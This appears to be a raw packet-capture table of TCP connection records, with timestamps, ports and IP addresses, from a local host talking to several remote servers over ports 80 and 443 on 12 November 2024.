Nov 12, 2024 17:07:50.816040039 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.816057920 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.816118002 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.816317081 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.816337109 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.816354990 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.816360950 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.818725109 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.818959951 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.818991899 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.819351912 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.819741964 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.819816113 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.819911957 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.820662975 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.820698023 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.820842028 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.821186066 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.821201086 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.826869965 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.827120066 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.827128887 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.827498913 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.827909946 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.827999115 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.828018904 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.832616091 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.832923889 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.832951069 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.834024906 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.834085941 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.834428072 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.834522963 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.834547997 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.840126991 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.840375900 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.840401888 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.841434956 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.841492891 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.841861010 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.841928959 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.842077017 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.842084885 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.842444897 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.842643023 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.842673063 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.843767881 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.843832016 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.844335079 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.844398975 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.844484091 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.844491005 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.846252918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846288919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846301079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846322060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846354008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846354008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846384048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846434116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846471071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846471071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846533060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846545935 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846558094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846577883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846577883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846627951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846637011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846673965 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846889973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846939087 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.846971035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.846982956 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.847002029 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.847024918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.856065035 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.856251001 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.856257915 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.857287884 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.857342958 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.857675076 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.857739925 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.857836008 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.863336086 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.868824959 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.868850946 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.875344038 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.878737926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.878763914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.878774881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.878849030 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.879441977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879497051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879499912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.879511118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879570961 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.879686117 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879698038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879709959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879722118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879745007 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.879765034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.879790068 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.879895926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879908085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.879945993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.879945993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.880475998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.880501986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.880517960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.880557060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.880569935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.880635023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.880647898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.880687952 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.880701065 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.880769014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.880780935 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.880796909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.880826950 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.880862951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.884592056 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.884607077 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.903342962 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.909746885 CET	443	49906	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.909898043 CET	443	49906	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.911955118 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.911955118 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.911955118 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.913284063 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.913331032 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.913516998 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.913671017 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.913691044 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.918556929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.918585062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.918596983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.918642044 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.918699026 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.932523012 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.947698116 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.947715044 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.947715044 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.947730064 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.957214117 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.957242966 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.957315922 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.957345963 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.957715988 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.958632946 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.958645105 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.958679914 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.960035086 CET	49917	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.960045099 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.960683107 CET	49917	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.960954905 CET	49917	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.960968971 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.966511965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.966552019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.966563940 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.966593981 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.966623068 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.966675043 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.966687918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.966733932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.967114925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.967161894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.967175007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.967291117 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.967330933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.967343092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.967354059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.967365026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.967386007 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.967396975 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.967432976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.967483997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.967658997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.972630024 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.972655058 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.972706079 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.972712994 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.972809076 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.973834038 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.973859072 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.973895073 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.973920107 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.973965883 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.974169016 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.974194050 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.974235058 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.974251986 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.974374056 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.974389076 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.974438906 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.974462986 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.974473953 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.974590063 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.976782084 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.976844072 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.979887009 CET	49910	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.979907036 CET	443	49910	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.980257988 CET	49918	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.980271101 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.980484962 CET	49918	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.985172033 CET	49918	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.985196114 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.985732079 CET	49911	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.985744953 CET	443	49911	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.987128019 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.987150908 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.987160921 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.987248898 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.988435984 CET	49912	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.988454103 CET	443	49912	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.991540909 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.991604090 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:50.991622925 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:50.991667032 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.007482052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007529020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007540941 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007597923 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.007597923 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.007659912 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007673025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007683039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007695913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007725000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.007739067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.007864952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007878065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.007935047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.008018970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008030891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008042097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008054018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008064985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008076906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008088112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.008088112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008088112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.008110046 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.008133888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.008299112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008311033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.008430958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.009229898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.009243011 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.009283066 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.009332895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.017241955 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.017278910 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.038362026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.038467884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.038501978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.038515091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.038568020 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.054986000 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.055536985 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.055579901 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.056221008 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.056230068 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.127199888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127226114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127238035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127249956 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127307892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.127355099 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.127372980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127396107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127408028 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127418995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127441883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.127461910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.127531052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127589941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.127630949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127644062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127670050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127681971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127698898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127711058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.127722979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.127746105 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.127768040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.128036976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.128048897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.128060102 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.128101110 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.128500938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.128573895 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.128586054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.128604889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.128642082 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.128957033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.130544901 CET	49919	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:51.130590916 CET	443	49919	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:51.130703926 CET	49919	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:51.131333113 CET	49919	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:51.131345034 CET	443	49919	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:51.136826038 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.137254000 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.137284040 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.137772083 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.137784004 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.140146971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140183926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140197039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140275002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.140317917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140328884 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140341043 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140356064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140384912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.140409946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.140497923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140510082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140543938 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.140583038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.140635967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140647888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140662909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.140687943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.140687943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.140714884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.157871008 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.157903910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.157915115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.157993078 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.191903114 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.191932917 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.191977978 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.192008972 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.192043066 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.192378998 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.192392111 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.192401886 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.192409039 CET	443	49896	13.107.246.45	192.168.2.6
